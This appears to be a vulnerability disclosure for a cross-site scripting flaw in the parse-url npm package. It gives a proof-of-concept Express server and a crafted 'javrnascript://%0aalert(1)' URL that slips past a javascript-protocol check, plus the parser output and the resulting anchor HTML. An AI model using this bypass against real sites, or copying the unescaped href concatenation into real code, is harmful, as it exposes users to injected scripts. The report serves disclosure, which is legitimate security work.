Cross Site Scripting in ionicabizau/parse-url

    const parseUrl = require("parse-url"); 
    const express = require('express');
    const app = express();

    parsed = parseUrl("javrnascript://%0aalert(1)");
    console.log(parsed);

    app.get('/', (req, res) => {
        if (parsed.protocol !== "javascript") {
            res.send("<a href='" + parsed.href + "'>CLICK ME!</a>")
        }
    })

    app.listen(9999);

In general, the above express code forbids the javascript protocol. However, you can spoof this using the CRLF character.

    output console.log(parsed);
    {
      protocols: [ 'javrnascript' ],
      protocol: 'javrnascript',
      port: null,
      resource: '%0aalert(1)',
      user: '',
      pathname: '',
      hash: '',
      search: '',
      href: 'javrnascript://%0aalert(1)',
      query: [Object: null prototype] {}
    }

output : document in browser
<a href="jav
ascript://%0aalert(1)">CLICK ME!</a>

Expected result:

Through this vulnerability, an attacker is capable to execute malicious scripts.